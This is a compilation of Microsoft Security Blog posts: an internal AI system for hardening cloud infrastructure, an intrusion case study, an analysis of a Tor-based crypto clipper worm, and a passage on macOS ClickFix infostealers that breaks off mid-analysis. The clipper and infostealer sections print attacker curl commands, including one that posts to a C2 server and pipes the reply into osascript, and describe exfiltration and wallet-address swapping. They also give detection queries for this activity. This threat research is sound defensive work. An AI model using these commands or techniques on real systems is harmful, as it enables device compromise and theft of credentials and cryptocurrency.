At Microsoft we encompass these security requirements, along with threat knowledge and operational frameworks in our Secure Future Initiative (SFI), to guide what a well-defended cloud service looks like. But defining the requirements is only the start. Meeting them means continuously evaluating our live services against them, at AI speed.  

That is why Microsoft built a multi-agent AI system that proactively evaluates and hardens our cloud infrastructure—matching the speed, scale, depth, and quality needed for our unique hyper-scale production environments. This system is purpose-built to evaluate Microsoft’s own cloud services against our stringent security requirements and make our infrastructure harder to compromise. While this is an internal capability and not available as a customer-facing product or service, the insights and patterns we develop through this work will inform how we improve our products over time. This system complements existing tools in Microsoft’s security ecosystem. For example, this system incorporates code-level vulnerabilities, including from systems like codename MDASH and adds configuration, identity, network, and runtime context, to assess overall service security posture. 

A modern AI architecture for proactive defense 

Vulnerabilities don’t just live in code. They emerge from the interplay between how a service is built, configured, deployed, and connected. Consider a cloud service where the application code passes every security review, the identity configuration follows least-privilege policy, and the network rules restrict inbound traffic as designed. Individually, each component is compliant. The system evaluates the service as a whole and may find that a combination of a permissive service-to-service trust relationship, a token scope that grants broader access than the service requires, and a deployment configuration that exposes an internal API to an adjacent network tier creates a composite vulnerability that no single-component review would surface.

At its core, the system employs a multi-tier agent hierarchy: orchestration agents for workflow management, analysis agents that specialize in security reasoning and are grounded in Microsoft’s threat intelligence—including emerging patterns and threat actor activity—and evidence-gathering agents that investigate across code repositories, infrastructure definitions, identity configurations, runtime settings, network topologies, and live resource states.  

The result of this multi-stage analysis is a comprehensive security understanding of each service that goes beyond what any single analysis method can provide on its own. Compared to traditional human-led security reviews that take weeks, the system compresses the same depth of analysis into hours. 

How it works: The system follows a multi-stage analysis pipeline, where each stage builds on the one before it:

1. Profiles each service architecture to understand components, data flows, trust boundaries, risk exposure, and more. 
2. Enumerates applicable security controls based on SFI requirements across identity, network, tenant isolation, engineering systems, and detection domains. 
3. Verifies control implementations against real-world code, configurations, and cloud resources. 
4. Evaluates defense-in-depth coverage to help ensure layered protections exist across all control domains. 
5. Identifies where controls are missing, misconfigured, or brittle, and maps the compensating controls that determine whether a gap is exploitable in practice. 
6. Produces compensating controls and durable fix recommendations for immediate-risk reduction while driving lasting remediation. 
7. Continuously learns and improves by incorporating feedback from security reviewers and service teams, and by tapping into Microsoft’s evolving threat intelligence to adapt to new patterns. 

Core design principles  

The analysis pipeline is shaped by four principles that determine how the system reasons about security: 

1. Frontier-ready architecture

The system is built with modular model interfaces that can take advantage of new frontier capabilities as they emerge. New models, enhanced planning, and execution capabilities can be integrated behind stable agent interfaces—preserving existing tooling, orchestration, knowledge, pipelines, reporting, and governance.  

2. Compositional risk reasoning

The system uses “what-if” agentic ideation to reason compositionally about risk. It explicitly explores how individual security gaps can chain together into multi-step attack paths. For example, a minor misconfiguration in identity, combined with a seemingly unrelated network exposure, and a missing data encryption control, might together enable a serious breach. Modern attacks are often complex sequences rather than single bugs, and the system is designed to help identify and analyze them. By running diverse models and large-scale reasoning trials in parallel, the system explores an expansive space of scenarios that traditional static analysis or single-scan tools would miss. 

3. Service-specific adaptation

Cloud services aren’t one-size-fits-all, so security analysis shouldn’t be either. Rather than applying a fixed checklist, the system builds a service-specific understanding of each service it analyzes. It profiles the service in depth—identifying its components, mapping data flows, locating trust boundaries, and determining which security controls should apply given that service’s unique architecture and risk profile. If a service uses a novel pattern, a microservices architecture spanning multiple codebases, or an agent-to-agent communication model, the system adapts its analysis to account for those patterns. This adaptive approach, guided by current SFI requirements, means that the system can tackle emerging cloud paradigms that don’t fit traditional security checklists.

4. Defense-in-depth evaluation

A key focus area for SFI is layered defense. The system asks two questions: “What vulnerabilities exist?” and “Where does this service lack multiple lines of defense?”. It evaluates whether critical security domains have overlapping, robust controls, and it flags any missing or brittle layers—even if no immediate exploit is identified.

For example, the system will highlight a scenario where a service might have a weak network segmentation or an overly permissive admin role—even in the absence of a known attack—because those gaps mean a single failure could lead to a compromise.

This forward-looking, “assume breach” analysis embodies the Zero Trust and defense-in-depth principles reinforced by SFI. In an era when AI-assisted attackers can enumerate systems faster and chain together weaknesses more systematically, ensuring redundant safeguards is increasingly critical.  

The assurance tree: SFI in action 

At the core of the system are the SFI engineering and security principles: a structured body of security requirements shaped by years of hardening the Microsoft infrastructure. These requirements guide what the system evaluates, how it reasons about risk, and the recommendations generated. When security expectations evolve—whether to address a new class of threats or incorporate lessons from remediation—the system’s reasoning evolves with them. The assurance tree is how we express these requirements: a structured, hierarchical map of security controls that the system expects a service to have in place, tailored to that service’s usage and design.

As the system profiles a cloud service, it generates an assurance tree tailored to that service. At the top level of the tree are the fundamental security domains, that map to the SFI pillars. Each of these domains is recursively decomposed into more granular controls and sub-controls tailored to the service. For instance, Identity security decomposes into controls for password policies, OAuth token handling, and MFA enforcement—down to verifying that the service’s code correctly validates a JSON Web Token’s issuer and expiration. The assurance tree guides the system’s evidence-gathering agents to verify that thousands of expected controls are in place and effective—or to identify where something is missing. 

This approach turns security from an open-ended hunt into a systematic verification of the SFI requirements: the system is essentially asking, “Have all the security measures that should protect this service been properly implemented?”. Crucially, it goes further—considering how individual gaps might combine, helping to ensure that even combinations of missing controls are identified and addressed. 

Proven results: From theory to practice 

Within a few months, the system has enabled Microsoft security engineering teams to proactively harden our cloud services. It generates findings and recommendations which our security engineering teams then validate and implement. Because the system evaluates the whole service in context and reasons about the severity and exploitability of each issue before surfacing it, its findings have proven high quality and actionable: more than 90% have been confirmed as genuine security issues by our security engineers, enabling proactive action to improve security posture. Just as important as the volume and precision of findings is their nature. Many issues the system discovers are nuanced, cross-domain vulnerabilities that wouldn’t have been caught by traditional methods. For example, the system has uncovered security gaps that only become apparent when considering code, configuration, and cloud resources together—the kind of issue that isolated scans or compliance checklists could overlook.  

This capability allows us to enhance how we do security reviews. Traditionally, a deep security review of a complex service might span weeks of effort by multiple domain experts. The system can achieve a thorough review in a matter of hours—allowing teams to assess more services, more frequently.

The path forward: Applying these principles in your environment

If you are responsible for security at your organization, the key question is whether your defenses are keeping pace. AI models will continue to evolve. The organizations that are hardest to compromise will be the ones that have layered, verified controls already in place—not the ones that react fastest after something is found.

Based on what we have learned from building and operating this system, here are three principles any organization can apply now:

1. Go beyond code scanning to system-level discovery. The most consequential issues emerge not from a single bug, but from how factors including code, configuration, identity, and network interact in production. Collect rich signals across these domains and evaluate your services as composed systems, not isolated components. Prioritize composite attack paths over individual findings. 
2. Move beyond known vulnerability patterns to proactive defensive controls. Traditional scanning asks, “Is there a known bug here?” Proactive hardening asks, “Does this service have comprehensive controls and layered defenses?” Reason about not just vulnerabilities, but controls, and how defense-in-depth coverage can improve protection before a specific exploit is discovered. 
3. Integrate AI to drive proactive prevention at machine speed. The same AI capabilities that accelerate vulnerability discovery can be applied to continuously evaluate whether security controls are correctly implemented, layered effectively, and working as intended. Organizations that adopt AI-powered proactive evaluation will identify and close gaps faster than those relying solely on periodic manual review. 

For deeper guidance on implementing AI-powered defense for an AI-accelerated threat landscape, customers can review Secure Now guidance for AI‑powered security and proactive defense. Any customer with a Microsoft Entra ID can access it. Microsoft Security customers will also have access to capabilities that enable them to assess their exposure and take action. 

Moving forward, we will share more about how we are scaling our response operations to match machine speed and how SFI’s engineering practices are evolving for this new reality.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity. 

The post Protecting Microsoft at AI speed: How SFI proactively hardens our cloud   appeared first on Microsoft Security Blog.

What happened?

The investigation revealed a multi-stage intrusion that blended familiar ransomware activity with quieter, more deliberate techniques designed to establish deep and lasting access. DART found that Storm-2603 had been targeting on-premises SharePoint servers since mid-2025, exploiting known vulnerabilities while simultaneously probing for additional entry points through reconnaissance activity—such as requests for sensitive configuration files often used to validate local file inclusion weaknesses. In this case, initial access was likely attempted through a separate vulnerability, with requests for files like win.ini and web.config, indicating probing for local file inclusion. While exploitation wasn’t confirmed, the timing and activity suggest reconnaissance for entry points.

Once inside, the threat actor shifted focus to persistence and control. Using legitimate tools to blend in, they deployed Velociraptor with SYSTEM-level privileges to map the environment, then established multiple remote access channels through Cloudflare tunneling, Zoho Assist, and Secure Shell (SSH) connections configured through Visual Studio Code. Velociraptor, a legitimate forensic and incident response tool, was deployed by the threat actor to map the environment and operate with high-level privileges—blending malicious activity with trusted administrative behavior. Privilege escalation followed, with new local and domain administrator accounts created to maintain access, while defense evasion techniques—including the use of a vulnerable driver to tamper with memory and disable protections—helped reduce their visibility.

As DART correlated activity across the environment, investigators uncovered signs of a second, unrelated threat actor operating in parallel. Malicious dynamic link library (DLL) sideloading and custom backdoors—techniques not associated with Storm-2603—introduced an additional layer of complexity, obscuring attribution and complicating detection. Together, these overlapping activity streams enabled sustained access while masking the full scope of the intrusion.

How did Microsoft respond?

DART moved quickly to contain the active intrusion involving multiple threat actors and stabilize the environment, activating a structured response playbook focused on limiting threat actor impact and restoring control. By correlating telemetry across identities, endpoints, and cloud resources, responders established a unified view of the intrusion, enabling them to detect abnormal behavior, uncover credential misuse, and track threat actor activity as it evolved. Continuous coordination with the customer, including daily briefings, ensured that containment actions were timely, aligned, and effective in reducing further threat actor movement.

At the same time, collaboration with Microsoft Threat Intelligence provided critical context that reshaped the investigation. By connecting incident data with broader intelligence, DART identified two distinct threat actors operating simultaneously within the same environment—each masking the other’s activity and complicating detection. Beyond containment, the team delivered targeted guidance to strengthen the organization’s security posture, helping close visibility gaps and improve resilience against future identity compromise and ransomware-driven attacks.

What can customers do to strengthen their defenses?

This case underscores the importance of closing common gaps across exposure, identity, and visibility. Organizations should prioritize rigorous patching and vulnerability management—especially for internet-facing systems—to reduce the risk of initial access. At the same time, strengthening identity security is critical to limiting threat actor escalation and persistence. At a high level, customers can avoid similar cyberattacks by focusing on ways to:

• Establish broad, continuous visibility:
  Deploy endpoint protection widely and retain telemetry centrally to support detection, investigation, and correlation.
• Monitor and restrict trusted tools:
  Validate and oversee the use of remote access, tunneling, and administrative tools that threat actors may exploit for persistence and lateral movement.
• Prepare for rapid, coordinated response:
  Maintain tested incident response playbooks and ensure teams can quickly isolate compromised users, devices, and access paths to reduce dwell time.

Today’s modern cyberattacks can quickly evolve beyond a single incident-blending tactic, spanning environments, and even involving multiple threat actors operating in parallel. For security teams, the takeaway is clear: isolated signals rarely tell the full story. Organizations that invest in connected telemetry, coordinated response, and operational preparedness will be better positioned to detect adversary activity such as credential abuse and lateral movement earlier, contain active intrusions faster, and limit their overall impact.

What is the Cyberattack Series?

In our Cyberattack Series, customers discover how DART investigates unique and notable attacks. For each cyberattack story, we share:

• How the cyberattack happened.
• How the breach was discovered.
• Microsoft’s investigation and eviction of the threat actor.
• Strategies to avoid similar cyberattacks.

DART is made up of highly skilled investigators, researchers, engineers, and analysts who specialize in handling global security incidents. We’re here for customers with dedicated experts to work with you before, during, and after a cybersecurity incident.

Learn more

To learn more about DART capabilities, please visit our website, or contact your Microsoft account manager or Premier Support contact. To learn more about the cybersecurity incidents described above, including more insights and information on how to protect your own organization, download the full report.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post One intrusion, two cyberattackers: Uncovering parallel threat activity appeared first on Microsoft Security Blog.

Microsoft Threat Intelligence and Microsoft Defender Experts identified a Windows-based cryptocurrency clipper that has affected users since February of 2026. Clipper malware relies on stealing clipboard data and parsing it for valuable assets.

The clipper in this campaign relies on Windows Script Host and ActiveX-driven logic to launch a bundled Tor proxy and poll a hidden-service C2 server. It carries out high-frequency clipboard theft, screenshot exfiltration, and wallet-address substitution.

The execution of this clipper is notable because it does not depend on a traditional installer or exposed IP-based C2 infrastructure. Instead, it deploys a portable Tor client, routes traffic through a local SOCKS5 proxy, and blends data theft with remote code execution, turning a financially motivated stealer into a lightweight backdoor.

For defenders, the strongest signals are behavioral: script interpreters spawning suspicious child processes, localhost:9050 proxy usage, screen-capture commands in PowerShell, and signs of clipboard inspection or crypto-address replacement.

Microsoft Defender for Endpoint detects multiple components of this threat such as Suspicious JavaScript process and Possible data exfiltration using Curl. Additionally, Microsoft Defender Antivirus detects this crypto clipper as Trojan: Win32/CryptoBandits.A.

Attack chain overview

Since February 2026, malicious shortcut (.lnk) payloads have infected devices with a cryptocurrency clipper. This malware comprises two components that it deploys on the compromised system: a worm component that ensures propagation and a clipper/stealer component that harvests and exfiltrates cryptocurrency wallet information.  

The worm functionality ensures propagation by creating additional malicious shortcuts of legitimate files it identifies on the device. It also delivers file-based payloads and excludes them from Defender scanning. It deploys scheduled tasks for execution and persistence for both the worm component and the stealer component.  Figure 1 presents a high-level execution flow of the two components.

The clipper runs as a script-based payload that interacts with the operating system through WScript and ActiveXObject. It includes an anti-analysis check that queries running processes and exits if Task Manager is detected. If the environment passes this gate, the malware launches a renamed Tor binary named ugate.exe in a hidden window, waits about 60 seconds for Tor to bootstrap, generates a victim GUID, and registers the infected device with a hidden-service C2.

After registration, the malware enters a continuous loop. It polls the C2 for instructions and monitors the clipboard roughly every 500 milliseconds, extracting seed phrases and private keys that match wallet-related patterns. It also hijacks cryptocurrency addresses by replacing copied wallet values with attacker-controlled alternatives and uploads screenshots through Tor. If the C2 returns an EVAL response, the malware executes attacker-supplied code at runtime.

Behaviors and methodologies

Initial access

Initial access occurs from malicious .lnk files. In instances we analyzed, these .lnk shortcuts were distributed on USB storage devices. The .lnk shortcut stages a worm component in the form of an executable. The malicious script checks for an existing malicious payload and stops if the device is already infected. If the payload is not present, the malware fetches the payload from the C2 through Tor. The Figure below illustrates the functions that stage and decrypt the initial payload.

The .lnk payload scans the USB device for common document files like .doc, .xlsx, .pdf, hides the original files, and creates additional .lnk shortcut files with the same file names. The shortcut files are crafted with arguments to link to the worm payload. The end user is not aware that they are launching an executable when opening the .lnk files.

Execution

Once a user clicks on one of the shortcuts, the staged worm payload runs. It excludes staging folders and Windows binaries used in the execution of the stealer component. The malware then drops decrypted payloads, including two malicious JavaScript files, into the subfolder under the “C:\Users\Public\Documents” folder.

A five-character naming convention is used both for the subfolder and the scripts’ names.

The figure below illustrates an instance with files dropped under a ” C:\Users\Public\Documents\omoho” folder path:

The worm component also establishes persistence by creating two indefinite scheduled tasks: one responsible for spreading itself to a freshly inserted uncompromised USB storage device, and another for the stealer activity.

Defense evasion

The malware employs multi-layered obfuscation, with all components encrypted and only decrypted at runtime. Installation is handled by a Python script that is itself obfuscated using PyArmor and packaged into a standalone executable via PyInstaller. In addition, the two JavaScript payloads are each protected with dual-layer obfuscation, further increasing analysis complexity. This design significantly reduces static visibility while maintaining flexible runtime behavior.

The sample also incorporates a basic anti-analysis check by querying the Win32_Process WMI class and terminating execution if Task Manager is detected. Although simplistic, this mechanism can hinder manual inspection and slow initial triage efforts.

The bundled Tor client is central to the operation. By routing communication over localhost:9050 and resolving “.onion” destination domains inside Tor, the malware reduces DNS visibility, obscures the final C2 destination, and complicates destination-based blocking. This design gives the operator anonymity benefits while keeping the malware compact and self-contained.

Command and control

The command and control over a Tor-routed domain routes network traffic through local IP address 127.0.0.1 on port 9050. The tunneled domain appears in the initiating process command line. The C2 domains use the following endpoints and actions across different execution stages.

• C2 Domain: <domain>.onion
• Endpoints:
  • /route.php : Beacon and command retrieval
  • /recvf.php : File upload (screenshots)
  • /stub.php: Payload download
• Communication:
  • Protocol: HTTP over Tor (SOCKS5 proxy at localhost:9050)
  • Method: curl with POST requests
  • Authentication: GUID + GEIP (geolocation)
• Actions Sent to C2:
  • GUID : Heartbeat beacon
  • SEED : Exfiltrated seed phrase
  • PKEY : Exfiltrated private key
  • REPL : Address replacement notification
  • GOOD : (legacy/fallback action)
• Commands from C2:
  • GUID : Acknowledge/refresh victim GUID
  • EVAL : Execute arbitrary JScript code (remote code execution)

A file named “cfile” is created on the infected system as an output for payload hosted on the C2 domain.

The malware sample we analyzed also provided a function called checkC2Command. The function has an EVAL method, which would allow any payload placed in the cfile to be executed on the victim’s system.

Collection

Seed

Clipboard theft focuses on high-value financial artifacts. The malware detects 12 or 24-word BIP39 seed phrases in clipboard data. It saves the seed to local file (GOOD path) as a backup and exfiltrates it to the C2 domain via Tor. It retries network transmission until it is acknowledged and deletes local backup after successful transmission. It also takes five screenshots (ten seconds apart) and uploads them asynchronously. The screenshots help the threat actor gain additional context on the end user’s wallet and balances.

Private Key extraction

The crypto clipper also detects cryptocurrency keys for both Ethereum and Bitcoin WIF. Once the captured keys are saved and exfiltrated, the malware captures screenshots of the user’s screen for a full context. The captured values are validated against a word list.

Address replacement

The stealer also probes for cryptocurrency addresses and replaces them with attacker’s addresses. The malware checks that the address has alphanumeric values.

• For a Bitcoin legacy address which starts with “1” and has a length of 32-36 values, the address is replaced with an address that matches the first two characters.

• For a Bitcoin P2SH address which starts with a “3” and has a length of 32-36 values, the stealer replaces the address with one matching the original address on the first two characters.

• For a Bitcoin taproot address which starts with “bc1p” and has a length of 40-64 characters, the stealer replaces it with one matching the last character.

• For a Bitcoin Bech32 address which starts with “bc1q” and has a length of 40-64 characters, the stealer replaces only the last character.

• For a Tron address which starts with “T” and has exactly 34 characters, the stealer replaces the address with one that matches the first two characters.
• For a Monero address which starts with a “4” or a “8” and has exactly 95 characters, the stealer replaces the address with a single address.

The following shows an example of address replacement:

This malware family shows how lightweight, script-based stealers can deliver outsized impact when paired with anonymized communications and runtime tasking. The combination of Tor-routed C2, clipboard targeting, screenshot capture, and remote code execution gives attackers both immediate monetization paths and continued control over compromised devices.

Organizations should focus on hardening script execution paths, monitoring local SOCKS proxy abuse, and using behavioral hunting to connect script activity with network, clipboard, and process signals. That combination offers the best chance of surfacing this class of threat before financial loss or broader follow-on activity occurs.

Mitigation and protection guidance

Defenders should prioritize behavioral detections over static signatures. Investigate systems where WScript, CScript, or related script engines launch curl, cmd.exe, PowerShell, or unexpected executables. localhost:9050 network activity, especially when coupled with suspicious scripting behavior, is also valuable context for triage.

Where operationally feasible, reduce abuse of script-based interpreters and review Attack Surface Reduction rules that block obfuscated scripts and suspicious child-process chains. Review detections for PowerShell-based screen capture and examine devices for indicators of clipboard inspection or wallet-address replacement.

Recommended actions

• Disable AutoRun/AutoPlay for all removable media
• Block .lnk execution from removable drives via GPO
• Restrict unnecessary use of wscript.exe, cscript.exe, and similar script hosts where possible.
• Review and enable relevant Attack Surface Reduction rules, especially those focused on obfuscated script execution and suspicious child-process behavior.
• Investigate script-to-network chains involving curl, PowerShell, or cmd.exe.
• Hunt for local SOCKS5 proxy activity on localhost:9050.
• Review clipboard-related and screen-capture behaviors on devices handling sensitive financial workflows.

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Microsoft Security Copilot  

Security Copilot customers can use the standalone experience to create their own prompts or run the following prebuilt promptbooks to automate incident response or investigation tasks related to this threat:  

• Incident investigation  
• Microsoft User analysis  
• Threat actor profile  
• Threat Intelligence 360 report based on MDTI article  
• Vulnerability impact assessment  

Note that some promptbooks require access to plugins for Microsoft products such as Microsoft Defender XDR or Microsoft Sentinel.  

Threat intelligence reports

Microsoft customers can use the following reports in Microsoft products to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments.

Advanced hunting

Microsoft Defender customers can run the following queries to find related activity in their networks:

Execution launched from scheduled tasks

DeviceProcessEvents
| where FileName =="schtasks.exe"
| where ProcessCommandLine matches regex
@"(?i)schtasks\s+/create\s+/tn\s+[a-z]{4,6}\s+/xml\s+C:\\Users\\Public\\Documents\\[a-z]{4,6}\\[a-z]{4,6}\.xml\s+/f"

Local Tor proxy activity (localhost:9050)

DeviceNetworkEvents
| where ActionType =="ConnectionSuccess"
| where InitiatingProcessCommandLine has_all ("curl","socks5-hostname",".onion")

Tor-routed curl execution

DeviceProcessEvents
| where FileName =~ "curl.exe"
| where ProcessCommandLine has_all ("--socks5-hostname", "localhost:9050")
| project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine

MITRE ATT&CK Techniques observed

This threat has exhibited use of the following attack techniques. For standard industry documentation about these techniques, refer to the MITRE ATT&CK framework.

Initial Access

• T1091 Replication Through Removable Media

Execution

• T1059 Command and Scripting Interpreter | EVAL-driven remote code execution from server tasking

Discovery

• T1057 Process Discovery | Task Manager check used as an anti-analysis gate

Persistence

• T1053.005 Scheduled Task/Job | Scheduled Task

Defense evasion

• T1027 | Shuffled strings and decoder functions conceal commands and APIs

Collection

• T1115 Clipboard Data | Clipboard theft targets seed phrases, keys, and wallet addresses
• T1113 Screen Capture | PowerShell screenshot capture supports operational visibility

Command and Control

• T1090 Proxy | Traffic routed through Tor via local SOCKS5 proxying

Exfiltration

• T1048.002 Exfiltration Over Alternative Protocol

Indicators of compromise (IOC)

References 

• http://approjects.co.za/?big=en-us/security/blog/2022/05/17/in-hot-pursuit-of-cryware-defending-hot-wallets-from-attacks/#clipping-and-switching. Microsoft (published 2022-05-17)
• https://gbhackers.com/ssh-over-tor-tunnel/. Ghbhackers(published 2026-04-28)

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.   

• Explore how to build and customize agents with Copilot Studio Agent Builder 
• Microsoft 365 Copilot AI security documentation 
• How Microsoft discovers and mitigates evolving attacks against AI guardrails 
• Learn more about securing Copilot Studio agents with Microsoft Defender  
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Learn more about Protect your agents in real-time during runtime (Preview)

The post Crypto Clipper uses Tor and worm-like propagation for persistence and control appeared first on Microsoft Security Blog.

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

